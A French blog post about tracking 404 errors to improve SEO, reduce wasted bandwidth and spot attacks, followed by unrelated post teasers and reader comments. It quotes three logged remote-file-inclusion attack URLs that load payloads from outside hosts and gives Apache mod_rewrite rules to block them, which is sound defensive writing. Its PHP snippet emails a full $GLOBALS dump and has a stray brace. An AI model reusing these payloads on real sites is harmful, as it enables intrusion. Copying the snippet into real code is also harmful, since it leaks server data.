A l’heure où tout le monde ne jure que par l’optimisation du référencement — on dit Search Engine Optimization, ou SEO, pour faire branché — afin d’augmenter son trafic, et ainsi ses clients potentiels et/ou son revenu publicitaire, qui se soucie de vérifier ce qui se passe pour les internautes qui arrivent bien sur le site, mais sur une page qui n’existe pas, indiquée comme il se doit par une erreur HTTP 404 [1] ?
Si vous ne vous en souciez pas, commencez tout de suite à le faire, il y a beaucoup à apprendre, et sans doute beaucoup d’améliorations à apporter à votre site.
Le moyen le plus simple de connaître les URL en erreur 404 sur lesquelles arrivent les internautes, c’est d’abord de s’intéresser à celles qui sont référencées dans les moteurs de recherche, dont Google. On peut trouver justement un référencement des pages en erreur, dont celles en 404, au sein des outils Google pour les webmasters.
Une autre méthode plus basique et source potentielle d’explosion de compte mail est de se faire envoyer un mail à chaque requête donnant une erreur. C’est ce que j’ai fait dans mon squelette 404.html pour Gastero Prod, en donnant au passage quelques informations utiles de contexte d’appel :
<?php
mail('adresse@example.com',
'[GP404] '.$_SERVER['REQUEST_URI'],
'#URL_SITE_SPIP'.$_SERVER['REQUEST_URI']."\r\n".'User agent: '.$_SERVER['HTTP_USER_AGENT']."\r\n".'Referer: '.$_SERVER['HTTP_REFERER']."\r\n".print_r($GLOBALS, true),
'From: adresse@example.com');
}
?>Identifier les erreurs 404 permet d’améliorer un site sur plusieurs sujets :
Si un internaute arrive sur votre site depuis un moteur de recherche, et tombe sur une erreur 404, c’est qu’il y a un soucis dans votre référencement, sans doute parce que votre site ou un autre site contient des liens qui pointent vers ces mauvaises URL, liens qui existent :
En observant les erreurs 404 relevées par Google, j’ai pu corriger de nombreux problèmes apparus sur Gastero Prod, notamment avec le petit changement opéré sur les URL [2] pour que les articles du blog ne soient plus à la racine mais dans une sous rubrique blog/ et surtout un mélange entre URL absolues et URL relative, pas encore totalement bien gérées dans SPIP avec des URL arborescentes.
Il n’y a bien entendu pas que le nettoyage des erreurs 404 qui permet d’améliorer la qualité du référencement, mais c’est un autre sujet...
Si vous faites en sorte de diminuer les erreurs 404 sur votre site, quelles qu’en soit les causes, les internautes ne téléchargeront que les pages réellement intéressantes, et vous réduirez le gaspillage de ressources de votre serveur, ainsi que la bande passante consommée.
Selon la nature de votre hébergement, cela peut avoir un impact — positif à priori — sur son coût, ce qui peut s’avérer intéressant comme motivation.
Vous pouvez aussi identifier, dans les erreurs 404, des attaques essayant de profiter de failles de sécurité de solutions packagées.
Par exemple, un requête revenant ces derniers temps dans mes logs de 404 est la suivante :
http://www.gasteroprod.com/infoevent.php3?rootagenda=http://love-ma2.t35.com/sistem.txt?
En cherchant infoevent.php3 sur Google, j’ai découvert qu’il s’agit d’un script faisant justement l’objet d’une faille de sécurité de phpMyAgenda.
Comme par hasard, le client ayant fait cette requête n’est pas un navigateur traditionnel, mais s’identifie comme étant libwww-perl/5.803. C’est donc bien un programme qui tente l’attaque, sauf falsification de signature qui serait ici inepte.
Autre exemple avec cette requête :
http://www.gasteroprod.com//tags.php?BBCodeFile=http://guhit.com/img/id.txt?
Requête qui correspond à une faille de sécurité de Tagger LE, et qui est demandée comme par hasard aussi par un client libwww-perl/5.812 !
Dernier exemple avec cette requête :
http://www.gasteroprod.com//chat/users_popupL.php3?From=http://www.covoiturage.fr/communities/arab.txt??
Requête qui correspond à une faille de sécurité de phpMyChat [3], et qui est demandée comme par hasard une fois de plus par un client libwww-perl/5.805 !
Je tiens à signaler aux hackers qui me liraient que je n’utilise aucune de ces applications, ni aucune des nombreuses autres auxquelles s’adressent les autres attaques que je subi...
Faudrait-il donc refuser systématiquement toute requête signée par libwww-perl ?
En tout cas, vous pouvez déjà refuser les requêtes clairement identifiables comme des attaques brutales, par exemple comme ceci si vous avez le module mod_rewrite pour Apache :
# Bloquer certaines attaques brutales pas fines
# http://www.securityfocus.com/bid/19464
RewriteCond %{QUERY_STRING} &?BBCodeFile=([^&]+)
RewriteRule tags\.php - [F,L]
# http://www.securityfocus.com/bid/29164
RewriteCond %{QUERY_STRING} &?rootagenda=([^&]+)
RewriteRule infoevent\.php3 - [F,L]
# http://osvdb.org/39224
RewriteCond %{QUERY_STRING} &?From=([^&]+)
RewriteRule users_popupL\.php3 - [F,L]Voilà, vous êtes prévenus, n’ignorez plus vos erreurs 404, agissez !
C’est sans doute très bête, mais ça me fait toujours sourire de voir des petits bugs pas méchants sur des sites ou applications développées par des boîtes de renom genre Apple.
Alors que je me — et vous — demandais il y a quelque temps si je devais faire du ménage dans mes flux, et que la migration de FeedBurner vers Google [1] ne semble pas bien se passer pour tout le monde [2], j’ai l’impression que mes flux disponibles via FeedBurner ont de plus en plus de hoquets.
Alors que (presque) tous les constructeurs d’ordinateurs portables clonent l’imprévu ASUS Eee PC et se lancent à corps perdu dans la mêlée pour grappiller des parts de marché sur ce qu’on appelle désormais les « NetBooks », que fait Apple ? Une version 9 ou 10 pouces du MacBook Air — appelons-le MacBook Helium — trouverait sans doute de très nombreux acquéreurs !
Derniers commentaires
clochix sur Nouvelle tempête sur les flux RSS, réduisons les intermédiaires ! : Hello, avec du retard parce que justement... je me suis désabonné de tes flux parce que de (...)
Acouphene sur Nouvelle tempête sur les flux RSS, réduisons les intermédiaires ! : Et dire que je viens juste de délaisser FeedBlitz pour FeedBurner... J’espère que je ne vais pas (...)
Vincent sur Faut-il que je revienne à un unique flux RSS ? : Perso j’ai le flux avec uniquement les billets du blog parce que c’est ce qui m’intéresse (...)
NiKo sur Faut-il que je revienne à un unique flux RSS ? : Perso j’aime bien les pages du type de celle de Simon Willison, ça donne tout de même un peu de (...)
Yemek Tarifleri sur Le même agenda que Gastero Prod avec SPIP : bonjour je suis néophyte en ce qui concerne SPIP et je cherche à implementer un module agenda (...)
NiCoS sur Nouvelle tempête sur les flux RSS, réduisons les intermédiaires ! : Et moi qui pensait que c’était lié à des svn update de SPIP... :-P Pas mal en tous cas le (...)
dreamz sur Il ne faut pas confondre quantité et qualité : Salut, pour éviter les parasites de google image, il suffit d’ajouter une balise meta robots (...)
kwaker21 sur Faut-il que j’abandonne SPIP pour DotClear ? : Bonjour, Je me demandais où tu en étais dans tes réflexions. Je tiens un blog sous Dotclear et je (...)
NiCoS sur Mes conventions de codage : Voilà, c’est fait :-)
Sur Le combat entre Blu-Ray et HD-DVD se jouera sur les contenus : Sony a aujourd’hui un avantage de Technologies au niveau de ses Téléviseurs grâce à sa Technologie (...)